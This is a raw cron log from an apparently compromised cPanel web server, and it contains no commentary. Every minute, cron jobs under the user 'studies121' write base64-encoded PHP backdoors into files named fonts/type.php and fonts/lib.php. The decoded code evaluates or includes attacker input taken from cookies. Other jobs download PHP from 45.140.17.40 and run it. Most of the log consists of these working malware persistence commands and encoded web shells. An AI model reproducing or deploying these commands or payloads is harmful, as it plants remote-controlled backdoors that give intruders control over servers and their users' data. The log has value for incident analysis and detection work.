Sep 11 09:21:01 ip-184-168-122-23 CROND[6444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:21:01 ip-184-168-122-23 CROND[6447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:22:01 ip-184-168-122-23 CROND[6532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:22:01 ip-184-168-122-23 CROND[6535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:22:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:22:01 ip-184-168-122-23 CROND[6537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:22:01 ip-184-168-122-23 CROND[6538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:23:01 ip-184-168-122-23 CROND[6721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:23:01 ip-184-168-122-23 CROND[6724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:23:01 ip-184-168-122-23 CROND[6723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:23:01 ip-184-168-122-23 CROND[6726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:24:01 ip-184-168-122-23 CROND[6910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:24:01 ip-184-168-122-23 CROND[6908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:24:01 ip-184-168-122-23 CROND[6911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:24:01 ip-184-168-122-23 CROND[6912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:24:01 ip-184-168-122-23 CROND[6909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:25:01 ip-184-168-122-23 CROND[7202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:25:01 ip-184-168-122-23 CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:25:01 ip-184-168-122-23 CROND[7206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:25:01 ip-184-168-122-23 CROND[7205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:25:01 ip-184-168-122-23 CROND[7207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:25:01 ip-184-168-122-23 CROND[7208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:26:01 ip-184-168-122-23 CROND[7331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:26:01 ip-184-168-122-23 CROND[7333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:26:01 ip-184-168-122-23 CROND[7336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:26:01 ip-184-168-122-23 CROND[7334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:26:01 ip-184-168-122-23 CROND[7335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:27:01 ip-184-168-122-23 CROND[7436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:27:01 ip-184-168-122-23 CROND[7439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:27:01 ip-184-168-122-23 CROND[7438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:27:01 ip-184-168-122-23 CROND[7440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:28:01 ip-184-168-122-23 CROND[7653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:28:01 ip-184-168-122-23 CROND[7655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:28:01 ip-184-168-122-23 CROND[7656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:28:01 ip-184-168-122-23 CROND[7657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:28:01 ip-184-168-122-23 CROND[7659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:29:01 ip-184-168-122-23 CROND[7761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:29:01 ip-184-168-122-23 CROND[7760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:29:01 ip-184-168-122-23 CROND[7762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:29:01 ip-184-168-122-23 CROND[7759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:30:01 ip-184-168-122-23 CROND[7862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:30:01 ip-184-168-122-23 CROND[7865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:30:01 ip-184-168-122-23 CROND[7875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:31:01 ip-184-168-122-23 CROND[7986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:31:01 ip-184-168-122-23 CROND[7988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:31:01 ip-184-168-122-23 CROND[7987]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:31:01 ip-184-168-122-23 CROND[7991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:31:01 ip-184-168-122-23 CROND[7993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:32:01 ip-184-168-122-23 CROND[8100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:32:01 ip-184-168-122-23 CROND[8099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:32:01 ip-184-168-122-23 CROND[8098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:32:01 ip-184-168-122-23 CROND[8097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:32:01 ip-184-168-122-23 CROND[8101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:33:01 ip-184-168-122-23 CROND[8263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:33:01 ip-184-168-122-23 CROND[8264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:33:01 ip-184-168-122-23 CROND[8265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
